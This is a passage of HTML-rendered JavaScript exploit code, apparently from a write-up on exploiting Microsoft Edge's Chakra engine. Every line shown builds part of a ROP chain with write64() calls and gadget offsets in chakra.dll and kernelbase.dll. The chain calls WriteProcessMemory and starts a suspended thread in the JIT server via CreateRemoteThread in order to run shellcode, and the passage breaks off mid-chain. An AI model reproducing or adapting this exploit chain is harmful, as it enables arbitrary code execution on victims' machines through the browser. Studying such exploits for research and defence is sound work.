<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// CreateRemoteThread() ROP chain</span>
<span class="c1">// Stage 4 -&gt; Create a thread within the JIT process, but create it suspended</span>
<span class="c1">// This will allow the thread to _not_ execute until we are ready</span>
<span class="c1">// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later</span>
<span class="c1">// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain</span>
<span class="c1">// We will update the thread later via another ROP chain to call SetThreadContext()</span>

<span class="c1">// LPTHREAD_START_ROUTINE lpStartAddress (R9)</span>
<span class="c1">// This can be any random data, since it will never be executed</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x28b4fe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>	   <span class="c1">// 0x180043c63: Anything we want - this will never get executed</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (default security properties)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwStackSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0 (default stack size)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xdcfd0</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!CreateRemoteThread</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPVOID lpParameter (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// LPDWORD lpThreadId (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 2)</span>
<span class="c1">// Stage 5 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress</span>

<span class="c1">// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a100</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store the thread HANDLE</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetOne</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
